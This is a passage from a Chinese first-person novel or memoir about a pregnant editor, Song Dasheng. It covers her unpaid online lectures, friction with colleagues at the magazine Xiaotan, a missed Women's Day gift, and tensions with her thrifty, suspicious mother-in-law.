我说:“那好吧。你复习地怎么样了?马上要考研了,加油啊!” “谢谢宋老师,等我考上了研,我一定告诉您。”他说。 我说:“好。你先去学习吧,我来写评语。等我写好了你来拿吧。我的字不太好哈。” 他说:“没事的,谢谢宋老师。” 许诺走了,我就低头写评语。 杨编辑说:“杯子不错,还是膳魔师的杯子嘛。” 我说:“你不说,我还不知道呢。他其实没有必要买的。我们最不缺杯子了。” 杨编辑说:“给你你就收着呗。小孩子情商高,知道感谢你。” 我说:“我在许诺跟前,可有那种老大姨的感觉了。我自己都觉得我和蔼可亲的,可慈祥了。我刚上班的时候,那些老同事对我们的感觉,我现在找到了。” 郝跃说:“是的。人家都是90后,我们跟人家比,都是老的了。我老公都说我这几年老了。” 阿杨说:“你们怎么会有这种感觉?不正常!我就从来都没有!大家都是一样的!” 我心里想,这不是睁着眼睛说瞎话吗?不同年代的人,感觉怎么可能一样呢?大的就是大,小的就是小。老的就是老啊。老了就老了呗。有什么不好承认的呢。怎么那么怕自己老啊。我是说自己老了,又没说你。你怎么又跑进来插两嘴,硬跟我抬杠啊。可是阿杨这样说,谁又敢跟她抬杠呢?她说什么就是什么吧。毕竟,强权即真理啊。 这以后我跟徐诺再也没有联系过,他考研考过了与否,我也不方便问。我跟他也就一面之缘,实在没有必要跟他牵扯太多。 3.线上讲座 社里要组织编辑外出培训,因为我是孕妇,就没有安排我。 一个上午,孙部长在走廊里喊住我,跟我说:“大省,有一件事情跟你说一下哈。其他的编辑都要外出参加培训去了。你能上上线上讲座吗?” 我说:“可以啊。我还从来没有上过线上讲座呢。以前,这么好的事情还轮不到我呢,我觉得蛮新鲜的。”我虽然挺着大肚子,但是让我上线上讲座,我还是觉得很有意思,脸上很有荣光。因为,线上讲座是有补贴的,在以前,像我这样没什么资历的人,是没有机会上线上讲座的。这次,要不是因为他们那些有资格的大佬忙着外出培训的事,实在分身乏术,也不会轮到我头上。 孙部长说:“那你就上三天的线上讲座吧,好吧。” 我说:“好啊。” 孙部长说:“你这个大肚子还要上班忙工作,你这不得了啊。你这就是最好的胎教。” 我说:“谢谢领导给我这次机会。” 回到办公室,我就开始准备。不知道上什么内容,我就问杨编辑。 “阿杨,孙部长让我去做线上讲座。我们下一阶段要探讨哪些文章呢。” 杨编辑说:“你就讲两篇小说吧,《社火》、《焰口》。等我们培训回来就集中探讨这两篇小说。” 我说:“那好吧。我现在就来做ppt。”我就开始认真地研读文章,做ppt。等我做ppt的时候,才发现,两篇文章都没有电子版。 “阿杨,完了。”我说,“这两篇小说都没有电子版。我没办法做ppt了。” “做讲座肯定要用ppt的。你再到网上搜搜吧。我还有很多事要忙呢。孙部长喊我去开会。”杨编辑说着出去了。办公室里就剩下我跟郝跃两个。 “没有电子版?难道所有的字都要自己一个一个地敲上去吗?这个太耗时了。而且,马上就要线上讲座了,即使自己打字也来不及啊。” 郝跃说。 “实在不行,我就先一段一段地在网上找。一段一段地拍照、粘贴吧。”我说。 郝跃说:“拍照的效果不好的,最好还是文字。唉,你说你一个大肚子,还遇到这么麻烦的事,真是难为你了。你没事吧?不怕辐射吧?” 我说:“没事。” 郝跃说:“我来帮你用小猿搜题看看吧。不行的话,有的段落就直接截图。” 我说:“那太感谢你了。” 郝跃说:“没事的。以后,我有什么事,你也要帮我。她们一起攻击我的时候,你也要帮我说话。” 我说:“我一直都是帮你说话的。我一直都很感谢你,育儿的很多事情,我自己一点都不知道,都是从你那里知道的,你真是我的福星。你不说,我都不好意思让你帮忙。我真的要急死了。你帮我搜搜吧,看看能不能搜到这两篇文章,我就不用一个字一个字地敲了。” 郝跃说:“我来看看哈。看看小猿搜题能不能找到。” 正说着,杨编辑和钱编辑进来了。 “我来帮她看看。”郝跃讪讪地说。 杨编辑的脸“刷”地黑下来了:“你帮她就帮呗。”说完,她跟钱编辑说:“走!我们吃饭去!”钱编辑也气鼓鼓地拎起包跟她一起出去了。 她们走了以后,郝跃说:“她看我帮你,生气了。” 我说:“是的,我也感受到了,刚才,天一下子阴了。” 郝跃说:“你说你一个大肚子那么不容易,她们看到我帮你,居然还生气。” 我说:“是的。嫌你帮我。” 郝跃说:“都是女的,她们又不是没怀孕过。居然还想难为你。我找到《焰口》了,截图给你啊。” 我说:“好的。你顶着这么大的压力帮我,我真地万分感激。” 郝跃说:“没事。人家两个资格老的都抱团取暖,我们也抱团取暖。” 我说:“钱编辑是新调来的,我又没得罪她。她看阿杨生气,她居然也跟着生气了。” 郝跃说:“她们俩儿关系好呗。她们两家以前就好。现在钱编辑的老公当了《且戒》的副社长了,更是不得了了。否则她怎么能调到《小坛》来呢。你没看阿杨对她,跟对我们两个的脸子不一样吗?” 我说:“是的。阿杨跟她客客气气的,转过脸来就对我们呼来喝去,凶巴巴的。我是不明白,两个人关系好就可以不明是非吗?阿杨一不高兴,钱编辑也跟着同仇敌忾了。” 郝跃说:“你以为呢。就像我跟你。我们两个这么久了。要是再来一个年纪更小的,你说你是向着她,还是向着我。” 我说:“我肯定向着你。” 郝跃说:“人就是这样嘛。讲究个先来后到。后来的就是受欺负。不说了。我来帮你找文章。你赶紧整理ppt吧。” 我说:“好的。线上讲座肯定要用ppt的。” 在办公室里做的准备工作还完全不够,回到家以后,我又打开电脑,坐在电脑前几个小时不动,一点点查资料,认真地准备ppt。毕竟是怀着孕,说实话,老是坐着不动,我是有一点点担心。但是,既然答应了下来,我还是想积极应对,好好准备。 1月15号上午八点,我挺着大肚子来到《小坛》。那天,我梳着马尾辫,穿着一件白色长款的羽绒服,羽绒服的帽子上还有一个大毛领子。我到了行政楼四楼,线上讲座在一个空的会议室里进行。做辅助工作的帅哥已经在那里等着了。我走了进去,跟他打了招呼。 我走到电脑前坐下,把手里的一个蓝色牛仔小布包放在桌子的左上角。那个牛仔布包很小,仅可以放一串钥匙,上头贴着一个戴着红色蝴蝶结的小白兔。桌子的正中央放着一台电脑,右边是话筒。辅助我的帅哥就在我的右前方进门的地方。他教我怎么使用这些设备。 “没事儿,不用紧张,你就跟平时讲话一样。”他说。 “你帮我调节一下,千万不要露脸。”我说。 “不会露脸的,他们只能看到你的ppt。”他说。 “到点儿了,需要休息的时候,你提醒我哈。”我跟他说,“我电脑技术很差,我要是自己关不了,你就过来帮我一下哈。谢谢你了。” “没事儿,我全程都在的。”他说。 我背后的墙壁上,还做了一个线上讲座的背景,深蓝色的背景板上写着“线上讲座”四个白色的大字。 “麻烦你帮我拍个照好吗?”我跟那个年轻的帅哥说,“因为是怀着五个月的身孕开的线上讲座,这样的机会很少,我准备留个纪念。以后给小孩子看看。” “好的。”他说。 他帮我拍完照,我问他:“可以开始了吗?” “可以了。”他说。 “那我开始了。”我说。 整场讲座讲下来,我自己感觉还不错。接下来两天,我又上了两次线上讲座。 几天以后,他们去领培训补贴了。 郝跃很高兴,说:“我们的补贴到了,每人六百。你的线上讲座的费用也该到了。这下你又可以给你家宝宝多准备几件衣服了。对了,你的线上讲座的钱发了吗?” 我说:“没有。” 杨编辑说:“她上的线上讲座,费用只会比我们多,不会比我们少,至少也是六百。” 我说:“那太好了。” 郝跃说:“怎么没通知你去领啊?你去问问啊。” 我说:“不知道啊。要不我去问一下。” 杨编辑说:“你赶紧去问一下吧。人家别的组的开讲座的费用都领了。那么多人呢,不可能没有你的。” 我说:“好吧。” 社里负责财务的是巫主任。我就去问巫主任。 巫主任很热心,他说:“我现在就去查一下。” 我说:“太感谢您了。都快下班了,实在不好意思。” 巫主任说:“没事,应该的。” 过了一会儿,巫主任告诉我说:“我没有那天的记录。” 我说:“就是1月15号啊。我还让那个线上讲座的管理员给我拍了照片呢。因为我是怀着宝宝,我还想纪念一下呢。我那天穿着白色的羽绒服。” 巫主任说:“真地没有查到。” 我说:“那几天,线上讲座的管理员把照片都发到群里了,怎么现在找不到记录了呢?那好吧。麻烦您了啊。” 巫主任说:“没事。” 我回到办公室,她们问:“查到了吗?” 我说:“没有。巫主任说没有查到。” 她们说:“那你赶紧去问孙部长啊。” 我说:“我可不敢去问。巫主任是负责记账的,他都没查到底账。我去问孙部长,他那么忙。他怎么记得。他要是觉得我向他讨薪太烦,他说不定还会生气呢。孙部长如果生气了,那我就不是损失六百块钱的事了。” 杨编辑突然愤怒地跟我说:“那你就不要在办公室里说你没有领到费用!不是我让你去开线上讲座的,是孙部长让你去的。你在办公室里说,搞得好像是我让你做事,没给你报酬似的。” 我说:“噢,我不知道你介意。不是你们问我的吗?否则我还想不起来去问呢。知道你介意,那我以后就不说了。”我卑微地跟杨编辑解释着。杨编辑的脸上恼怒的神色才稍微褪下去。 我对我们这个杨编辑特别卑微,因为她特别能跟我和郝跃这样最底层的人生气,动不动就生气。我们小心翼翼揣测圣意,还是经常惹得她生气,经常跟我们发脾气。而她对其他的同事,对那些有资历有背景的同事,她跟人家从来都是客客气气。我们对她只有谦恭谨慎,只有低三下四,只有一个字,忍。 下班的时候,我挺着大肚子朝着社里的大门口儿走去。张雪芬编辑骑着电动车从我的左手旁路过。 “宋编辑,我来带你吧!”她停下来转过头跟我说。我跟张编辑很久没见过面了,多年以前,她还给我看过手相呢。夜色里,我从她的声音里听出来是她。这么真诚的关怀,我已经很久没有遇见过了。 “不用了!谢谢张编辑。我自己走就行。”我说,“人家遇见大肚子都是躲着,怕惹麻烦。你居然还敢要带我!谢谢你啊!” “那我先走了!”张编辑说。 “好的!你先走吧!谢谢你哈!”我说。 “不用谢!”她说着又跨上了她的电动车。 年底,端午花三千块钱在京东买了一个pad。从此以后,他晚上就坐在床上看pad。 快过年了,我陪着他去“海澜之家”买新的羽绒服、新裤子、新鞋子,他家过年要穿新衣服。我倒是觉得无所谓,我也不想买新衣服。那时候,我的白头发已经很多了。我觉得我跟他一点都不搭了,我进到店里只怕给他丢脸。我就在店门外站着等他。端午不明所以,还以为我对他有意见,不稀罕陪着他呢。 端午在里头试衣服,我站在外面透过店里的玻璃门看着他。店里试衣服的还有一个老头儿,我觉得我跟端午一点都不搭。我跟那个老头儿倒是很搭。我约莫着端午快试好了,怕他钱不够,就进去找他。端午哪里知道我的那点心思呢。 “就这件了。你看可以吗?”他一脸纯真地问我。他选了一件墨绿色的羽绒服。 “嗯。蛮好看的。有没有大一号的?这个号有点小了。” “有大一号的。”店员说着又去拿大一号的去了。 “你再选条裤子,选双鞋子吧。”我说。 “嗯。”端午说。 “你身上的钱够吗?”我问他。 “不太够。我手里只有几百块钱了。”他说。 “那回头我帮你结账吧。”我说。 “好的。马上我陪你去买一件羽绒服。”端午说。 “我一点都不想买。我的衣服够穿了。有什么好买的。”我说。 “买一件吧。过年要穿新衣服的。你这件羽绒服都包不住肚子了。万一感冒了,对宝宝不好。”他说。 端午非让我买,我就跟他一起去。到了店里,没有我能穿得上的羽绒服,因为我肚子太大,端午帮我选了一件白色的羽绒服,特别大、特别笨重。我也怕瞎凑乎不行,万一感冒了,对宝宝不好,就花了一千块钱买了下来。 晚上,端午洗完澡,躺在床上,跟同事打电话。 “我不想理她,又不是我打的小报告。” “她非说是我打的小报告,我又没打。我理她干什么。嗯。她找了那个领导,那个领导让我发誓。我干嘛发誓。我又没说她。”端午说。 我仔细听听,原来是端午的一个同事冤枉他跟领导打她的小报告了。 我见他打完电话,就到房间里问他:“怎么回事?谁啊?” “没谁。”端午说。 “怎么叫‘没谁’呢,你刚还跟同事说呢。”我着急了。 “同事!”他说。 “哪个同事?男的?女的?”我问。 “女的。”他说。 “她怎么了?”我问他。 “领导知道她上班玩手机了。她非说是我去打的小报告。”他说。 “你打了没有?”我问他。 “我当然没有。”端午说。 “我也觉得你不是爱打小报告的人,你连话都不爱讲。那她是冤枉你的了。她多大了?”我问。 “快四十了。”他说。 “那她是看你小,故意欺负你的。这个死女人!她怎么说的?”我一听是比端午大的女人,就知道那女人肯定是欺负他弱小老实了。 “她去找了一个小领导,那小领导让我发誓。我又没打小报告,我发什么誓。”端午说。 “那个狗屁领导也是低级、迷信,居然让你发誓。”我说,“那你怎么不骂的啊,你就骂,你跟她赌咒、发誓啊。”我气愤地说。 “有什么好骂的。”端午说,“你怎么那么生气?” “她还好意思去质问你。你就是打了小报告又怎么了,她上班玩手机被发现了,她还有脸了?你那个领导是什么狗屁领导,居然还跑去让你发誓。太恶心、太低级了。”我愤愤地说。 “你怎么比我还生气?”端午有些惊讶地说。 “那个女人,我要不是挺着大肚子,我都想去跟她大吵一架了,她肯定是看着你小,好欺负,她故意冤枉你的。”我气呼呼地说。 “我都没生气,你怎么生气了?”端午又是不能理解地说,“不要说人家坏话。” 我说:“这怎么叫说人家坏话。人家遇到更过分的事还搞到网上去呢。中国还搞抗战胜利70周年呢,还向国际宣传日本鬼子的罪恶呢。” 端午不说话了。我其实还想对端午说,但是我没有再说,他这种情商,我对他已经有些无话可说了。 我本来想说的是,我跟他有什么话不能说?我跟他说个话还叫说人家坏话?我对端午的情商这块已经不抱希望了。有些该说的话都不说了。说了他也不懂。 39. 婆婆来了 1.婆婆来了 第二年春天,三月份,我怀孕八个月了,肚子很大。我每天挺着大肚子上班,除了有些行动不便,也没觉得有什么。 杨编辑说:“你该请产假了吧?” 我说:“我都不好意思跟领导说呢。我觉得我还可以再撑一段时间。” 她说:“你还是请假吧,你都三十八九了,不像小年轻的。挺着个大肚子,万一出了问题,领导也担待不起。” 我说:“我不好意思去说。我去请假,领导万一不高兴怎么办?” 她说:“有什么不高兴的?你都为社里当牛做马这么多年了,都快四十了才生孩子。人家二十几岁的都照样请假,你一个高龄产妇为什么不能请假。” 我说:“那好吧。我去跟孙部长说说。” 我就挺着大肚子去了孙部长办公室。孙部长很爽快地答应了。 他说:“好的,你就好好休息吧。你年龄蛮大的了,你要是有个三长两短的,我还确实害怕。” 我说:“那太感谢领导了!” 不能上班了,我就请假在家休息。端午说,让他妈妈来陪着我。我也怕万一哪天在菜场买菜的时候临盆了,身边没个人儿,那可就捉急了。我就让他跟他妈妈说,让他妈妈过来。 因为他妈妈来了要住,也是为了迎接宝宝,我就挺着大肚子去“圣弗莱家纺”买了好多被子、被套。宝宝生下来肯定是跟他妈妈睡,我要给我的宝宝准备全新的铺盖。那些被子、被套太多,人家店员看我一个孕妇推着自行车不方便,就用电动车给我送到了家里。他妈妈还没来,我就把床铺收拾好了。全新的被子、被套,我自己都没舍得盖。 晚上,端午下了班,我跟他一起去采购备孕的东西。我那时候头脑已经开始不太灵光了,一切都是端午自己定的。奶粉要什么牌子的,尿不湿用什么价位的。太好了我们用不起,太差了也觉得对不起孩子。端午自己估摸着,按照我们两个人的工资来定夺。我跟着端午,听售货员跟他说着什么“2段”、“3段”的。那时候是晚上了。我那个时候好像根本听不进去什么了。我只觉得店里的灯光是白白的亮亮的。我跟着端午身后,听售货员一样一样地跟他推荐着。 “奶粉,你先买一罐就行了。她产后会有奶的。像我,产后奶多,我家宝宝根本吃不完。奶粉只吃了不到半罐。”售货员说。 售货员又拿了一瓶护臀膏:“这个护臀膏要准备的,很多宝宝会红屁股。” “买吧!买吧!”端午说。 我说:“吸奶器要买吗?我听郝跃说,她产后用吸奶器吸奶的。” “吸奶器你想准备的话,可以准备一个。这儿,有一款,性价比比较高,六百多,不到七百。”售货员说。 “买上吧!买上吧!”端午说。 “太贵了。我听郝跃说,她那个是在网上买的。才二百多呢。”我说,“要不我们再看看吧。” “好的!没关系!”售货员说。 “买吧!买吧!”端午悄悄地跟我说,“不买不好意思!” “有什么不好意思的?”我说,“六七百块钱呢!一个吸奶器,未必用得着。只是备着。要是用地着还好。要是用不着的话,就是一个废品。送人都送不出去。我给自己省钱不好吗?你怎么还觉得不好意思的?我们已经买了那么多的东西了啊?你是不是喜欢那个售货员啊?” “没有啊!你不买就不买吧!”端午说。 他妈妈在家收拾了几天东西,没过几天,他妈妈来了。来了就积极地干家务。 “我今天多煮点饭,明天早上我烧个泡饭!”他妈妈得意地说,他妈妈自己吃泡饭习惯了。 我跟端午面面相觑。我说:“我们早上都是喝红豆粥、绿豆粥,吃个包子。我们不放大米。怕升糖。” 端午说:“是的,你不用管,晚上把粥预约一下就行了。” 第二天早上,五点,他妈妈就起来了,开冰箱,拿包子,微波炉里热包子,拿饭碗,摆筷子。“砰砰砰”,“当当当”,我被吵醒了。 我起来上了个厕所,迷糊着眼睛跟她说:“妈妈,早饭你不要管,我们起来自己弄就行了,你歇歇,歇歇!” 吃早饭了,端午的妈妈一直叨叨地指点。 “包子这样吃!放在粥里泡泡。”老太太拿筷子夹着一个蘸了粥的包子说。 我看着她筷子上的那个蘸满了粥的包子,和她那自鸣得意的兰花指。 我说:“我不喜欢那样吃。好好的包子沾了粥,黏黏糊糊的,不清爽了。” “我们就喜欢这样吃。端午也喜欢这样吃。”老太太说。 “他那是跟你学的。”我笑笑说。 老太太说话的时候,一股子幽幽的味道从她的嘴里扑出来。我就低头吃饭,不想跟她多说话,也希望她少说一点。 饭后,端午上班。我跟老太太去买菜。 路上,端午的妈妈说:“都是为了小孩儿,不是为了小孩,我不要跟你们住在一起,你们也不要跟我住在一起。” 我说:“这说的是实话。” 老太太接着说:“我当保洁,一个月也就千把块钱。我来给你们带着孩子,你们好去上班。你们年轻,一个月挣好几千。比我挣地多。” 我说:“是这么个道理。一个家庭就是一个团队。妈,你放心,到了菜场,我自己付钱买菜,我想吃什么买什么。你帮我拎一下就行。” 我知道,她说我挣钱多,目的是想通过“捧杀”我,来达到她不想给我花钱的目的。既然媳妇挣钱多,她就不用给媳妇花钱了呀。她的意思。我明白。她上来就摆明了自己的态度,誓死捍卫她的每一分钱,她很精明。这个,我也明白。我那时候,确实也不在乎她那点小钱,但是,说实话,婆婆在儿媳妇孕期给不给一份温暖,我肯定在乎。而端午的妈妈,来陪产的时候,没有亲自为我买过一次菜,没花钱给我做过一次饭,没给宝宝买过一件衣物。我没有得到婆婆该给的温暖。这个,我肯定在乎。 到了菜场,我来选菜,付款,端午的妈妈积极地跟着拎菜。我买荤菜,买蔬菜。菜摊子上有我想吃的草莓,红艳艳的,我有些想买。可是我怕我婆婆心疼,看了看,还不太敢买。买好了菜,我婆婆走在前头,我挺着大肚子走在后头。我看着我的婆婆往前伸着的白皙的脖子,和剪地齐齐整整的头发根子,我实在没有办法喜欢她。我有些讨厌她了。 到了十字路口,我说:“我去买几个包子去。” 老太太好像突然得到了表现的机会似的,她说:“我去买!我去买!” 是的,包子便宜,花不了几个钱,她要抢着去。我也知道包子很便宜,花不了几个钱。所以,我也不稀罕她去。 我说:“不用,不用,我自己去。” “我去!我去!”她伸出手臂来拦着我。 “不用,不用,我自己去就行。”我也伸出手臂来摆脱她。 我推她,她也推我。我们就在斑马线上扭打在了一起。 我甩开她,有些气恼地说:“你不要推我!你都要把我推倒了!自从我怀孕,还没有人这样推我!” 她又温和地说:“对不起啊。” 我说:“没事。几个包子我买得起,我自己去。” 周末,我跟端午去超市买菜的时候,买了几个鹅蛋。 “我听人家说,孕妇吃鹅蛋好,对胎儿好的。去胎毒。”我跟端午说。是的,这话儿是我前婆婆说的。她那时候也可能是故意说了刺激我的,因为我跟着她儿子老不怀孕。 我们回到家,打开冰箱,忙着往冰箱里放东西。我婆婆看到了鹅蛋,又开始卖弄她丰富的经验了。 她抬起头故作高深地说:“孕妇吃鹅蛋对胎儿好的。” 我心里“咯噔”一下,感情她知道孕妇吃鹅蛋好啊?我还以为她不知道呢。原来她知道啊。她既然知道怎么没给我提过呀,感情她舍不得给我买,也就不敢跟我提呀。 我心里正嘀咕着。只见老太太打了一个哈欠说:“我困了,你们洗澡吧?” 端午说:“妈,你先去洗吧。你洗完先睡觉。我们还要收拾一下东西。” 老太太说:“好的。”她说完,起身回她的小房间收拾东西洗澡去了。不一会儿,她抱着一包衣服到了卫生间,把门一关,稀里哗啦地,开始洗澡了。 回到卧室,我跟端午说:“我都怀孕快九个月了,我还以为你妈不知道吃鹅蛋对胎儿好呢?感情她知道啊?她既然知道,她怎么没给我买过啊?她不买,她也推荐一下啊。她不为我想想,也为她孙子想想啊。她就为了省几个臭钱,她明明知道,她都不给我买。她不仅不给我买,她连提都不敢提啊?” “人说等你怀孕了,就成了大熊猫了,婆家人会拿你当国宝一样,你就享受皇后级别的待遇吧。看看我,我怀孕了,还得挺着大肚子自己买菜。我是一天皇后的待遇也没有享受过。我也知道我们比老一辈消费高一些,你作为婆婆可以不用顿顿给我买,天天给我买。可是你作为婆婆,你连一句‘你想吃什么,妈给你买’,你都没说过,你都不敢说。你妈也太小气了。” 端午听我说他妈妈,不耐烦地说:“你少说两句。” 我说:“不是你妈妈说吃鹅蛋对胎儿好,我就说她了呀。我说的,都是你妈妈做的。你妈妈可以做,我就不能说了呀。” 端午的妈妈抱着换洗的衣服推门儿进来了。 “我洗完了,你们去洗去吧。”老太太说。她说着就往阳台上走去,她要去洗衣服了。 我问端午:“谁先洗?” 端午说:“你先洗。我再打会儿游戏。” 我带了个毛巾就去洗澡了。我站在洗手间对着镜子刷牙。 外面,老太太问端午说:“端午,你看见我手机了吗?” 端午说:“我没看到啊。” 老太太说:“咦。我的手机呢?” 端午说:“你的手机不是一直放在你的房间里的吗?怎么找不到了?” 老太太说:“是的呀,我的手机一直放在我房间里啊。我又不玩手机。” 端午说:“那你的手机去哪儿了?不知道。” 老太太说:“奇怪了。我洗了个澡,怎么手机不见了?” 我右眼一瞥,洗手间的置物架上,放着一部黑色的手机。我一愣,是端午的手机吗?不对呀,端午在打游戏啊。哦,是老太太的呀。老太太洗个澡把手机带进来干什么?哦,她是怕我们具体地说是怕我,看她的手机,偷她的钱啊。 我慢慢地刷着牙,听着外头老太太着急的声音,就是不吭声儿。 “咦,我的手机呢!”老太太说。 端午说:“谁知道你的手机呢。我跟大省又没拿。” 我看着镜子,慢慢地刷着牙。我心里想,让她找吧。自作孽不可活。自己小肚鸡肠,怕儿媳妇拿自己的手机,连洗澡都悄悄地把手机带到洗手间里去。可是事情做地不够严实,手机落在洗手间,被儿媳妇看到了。自己还到处找呢。 真有意思。我就不说,让她找会儿吧。她要是找不到手机得多害怕啊。她又得想着是她儿媳妇把她的手机给偷走了吧。呵呵!她这回得自己把自己给吓坏了。 等我洗完澡,从洗手间里出去。 老太太黑着脸问我说:“大省,你看见我的手机了吗?” 我说:“你的手机在洗手间呢。你自己洗澡的时候带进去的。你忘了啊。” 老太太讪讪地说:“我忘记了来。” 我说:“你下次带进去记得带出来。省得找不到害怕。” 老太太不说话,她理了理自己前额的头发,踱到洗手间,去拿她的手机去了。 老太太把她的手机从洗手间里拿出来,经过我的身边,回她自己的房间里去了。 我笑着看着她的背影说:“妈,你回头找个放大镜看看,你的手机上可没有我的指纹哈。你自己带进洗手间的。一直原封不动地放在那里呢。” 老太太不吭声儿,进了房间,顺手把她房间的门关上了。 我回到卧室,端午说:“我妈也是的,洗个澡带手机干什么。” 我说:“她怕我偷她的手机呗。你告诉她,让她下次洗澡的时候,找几个保鲜袋子把手机裹上。裹得严严实实地,挂在脖子里,或是捆在腰上。这样,她洗澡的时候就能把手机带在身上,就不用担心我偷她的手机了。说是把儿媳妇当亲闺女一样,都是放屁的。她这是拿着儿媳妇当贼提防着呢。我们一出门儿,就把整个家撩给她。她好。天天严防死守的,生怕儿媳妇偷了她的金银财宝。” 端午说:“你少说两句!” 我说:“我也想少说两句。可是你妈做出来的事,桩桩件件,那件不让人忍不住给她点赞啊。今天这件事,做的又出奇又出彩吧。洗个澡得把手机带上。生怕儿媳妇偷了她的钱。本事不大,疑心那是世界第一!大大的!可惜自己头脑不好,忘记带出来了。我既然发现了,不得赞她两句吗?多机智,多聪明,多伟大啊。想的多周到啊。这鬼点子,比正点子多多了。一般的人都比不上她呀。对了,你回头到淘宝上看看。有没有洗澡防儿媳妇偷手机包不进水神器,给你妈买一个,让你妈洗澡的时候也可以把手机带在身上。” 2.“三八”妇女节福利 我三月初开始请的产假,三月八号,我挺着大肚子跟老太太一起出门散步。走到广场上的时候,就看到《小坛》一个女同事骑着自行车过来了,她是冯编辑。 她看到我,笑嘻嘻地地停了下来。我也笑着跟她打招呼:“冯编辑,你现在是回家吗?” “是呀”,她说,“今天三八妇女节,下午没事儿的女员工可以回家休息。” 她的车篮子里放着一束玫瑰花和一盒蛋糕。 我说:“蛋糕是社里发的吗?” 她说:“是啊,你没有吗?” 我说:“我没有啊,我这个月才请的产假。” 她说:“请假也应该有的啊,他们怎么没发给你啊?” 我说:“我也不知道。我刚请假,就没有我的了。平时我也不太爱吃甜点,可是看到你有,我还是很羡慕。” 她说:“编辑部怎么这样做事哦,你请假就没有你的了?你问问编辑部领导,给你补上。” 我说:“我可不敢。我这样的菜鸟,领导不找我的麻烦,就算好事儿了,我还敢要礼物?” 她说:“那怕什么的。你应该得的福利嘛。你不在,他们可以让其他同事带给你,不应该不给啊。” 我说:“是啊。社里过节的福利不都是每人一份的嘛。有人不在的,都是让别人代领。可是人家不给,我哪里敢去讨。” 冯编辑说:“你问问巫主任。” 我说:“我可不敢。” 正说着,巫主任骑着电动车飞过去了。 “喂!小巫!”冯编辑喊他说。 巫主任远远地听到喊声,停了下来,他身子骑在电动车上,脖子朝屁股后头扭着。 “什么事?”他说。 “宋大省怎么没有蛋糕的?你们编辑部发的时候怎么没有她的的?”因为离得远,我也没听见巫主任说什么,他可能觉得这个问题很无聊,就骑上电动车扬长而去,摆脱了我们的纠缠。 蛋糕已经发过了,没有的就没有了,不可能再单独给我补一份。不是冯编辑替我开口,我也不可能去向编辑部讨要。 我说:“谢谢你,冯编辑,你还敢为我说句话。我可不敢。我这样的菜鸟,哪里敢问啊。” 冯编辑说:“你怕他干什么,我跟小巫当年是一起来《小坛》的。你怕他,我可不怕。” 冯编辑推着自行车跟我们一起往前走着。 我说:“冯编辑,你上车走吧,别耽误你回家。” 她说:“没事儿,我家就在前面。你什么时候生啊?” 我说:“预产期就在四月份。” 她说:“生孩子当妈妈还是很辛苦的。我女儿小时候,我都累坏了。孩子小,要跟婆婆住在一起,还有各种矛盾。” 我说:“冯编辑,你说地真是大实话。自古以来,婆媳关系就是一道难题。都这样。” 她看了看我婆婆说:“这是你婆婆,还是你妈妈?” 我说:“是我婆婆。” 老太太往前走着,也不吭声。仿佛不存在一样。她只有在谈到钱的时候紧张,其他的,她都无所谓的。我也习惯了她这个样子。 我说:“冯编辑,你孩子现在大了吧。上次我在公交车上看到你,看到你女儿了。” 她说:“她现在长大了,我们也不跟她奶奶住在一起了。” 我说:“上次在市里看到你,我还一直以为你住在市里呢。” 她说:“我们市里也有房子,现在住到青提区了。” 我说:“冯编辑,我真羡慕你。你这么年轻孩子都这么大了。你看我,还要慢慢熬呢。” 她说:“没事的,慢慢来。” 我说:“是的。你看,到底是春天了,玉兰花都开了。不出来都不知道,开了这么多了。你赶紧走吧,冯编辑,回家休息休息。我们走路吃力。你不要跟我一起耗了。” 她说:“那好吧,我走了。你当心身体。” 我说:“好的。冯编辑。” 冯编辑走了,我跟老太太说:“你看看,我才请假一个星期,三八节福利就没有我的了。要是有的话,给你吃吃也蛮好的啊。” 老太太说:“不给就不给了吧。” 我说:“我现在也不敢吃甜点。但是,编辑部做事太没有人情味儿了,我才出完力,才请假一个星期,发福利就没有我的了。” 晚上,端午回来跟他妈妈说:“妈,我帮你开通微信吧,以后我们给你转账,你好去买菜。大省生孩子的时候,进医院要查健康码,你开通微信,才能有健康码。” 不出所料,他妈妈死活不同意。她说:“我不用微信,我用钱就行了。要是用微信,把钱弄丢了,不得了啊!” 端午说:“你进医院得看健康码啊,她要是突然要生了,你进医院,没有健康码怎么办。” 老太太忽悠他说:“没事的,我回老家,让人家给我弄一个。” 端午说:“你那是用白纸打印的,只能用两天。人家医院要最近一两天的健康码。” 他妈妈还是不乐意。“可以的!我回家让人家给我弄一个!人家那些人都用的这个。” 晚上,回到卧室。我跟端午说:“你妈妈不同意开通微信,她可能是害怕我们花她的钱。你跟她说,我们不花她的钱。就是要她一个健康码。因为到时候你上班,我去生孩子肯定是她陪着。没有健康码进不去。” 端午说:“她就是又抠又精!我回头再去跟她说,不能让她耽误你。” 我跟端午说:“我给你发六千块钱的红包。你转发给你妈妈,让她留着给我在医院里吃饭买东西。她抠。我在网上看到,吃椰子可以补充羊水,我想去买个椰子吃的,可是她在,我都不敢买。怕她说我败家。我也不敢买三个,一人一个,那样她更说我败家。我产后,她可能舍不得给我吃,我们做好最坏的打算。我们给她充足的钱。一个女人坐月子的时候是最需要照顾,最需要营养的时候,她如果舍不得给我吃,我可受罪了。我这辈子就做这一次月子。” 端午说:“好的。” 端午的妈妈是个善女人,那时正是阳历三月份,农历二月。 老太太跟我说:“大省,我要去庙里,给菩萨进香。过几天再回来。” 我说:“好的,你跟端午的车一起回去吧。” 她说:“好的。” 第二天,端午上班的时候,她就去她的房间里拎上她的半人高的大皮箱。她费力地把那皮箱拎起来,拎到她的腰和大胯那儿,来到门口儿的换鞋区。 端午看她拎地吃力,就问她:“你就回家一趟,拎那么重的箱子干什么?” 她说:“我里面装的换洗的衣服。” 端午说:“换洗的衣服找个袋子装装就行了,哪里用箱子。” 我看看她,不说话。她哪是要装换洗的衣服,她是怕我偷了她的东西。 老太太走了,我就自己在家烧饭。我想吃东西,我才敢自己买。我挺着大肚子去超市买椰子。 “这个椰子好吃的,我前天才给我女儿带了一个。”收银员说。 “听说椰子汁可以补充羊水,我婆婆在,我都不敢买。我婆婆回老家了,我才跑出来买的!”我笑着说。 “你怀孕了,你婆婆不该买给你吃吗?”收银员说。 “没有!”我笑着跟收银员摆摆手说,“我没那福气!” 那是我第一次喝椰子汁,椰子汁很香甜。 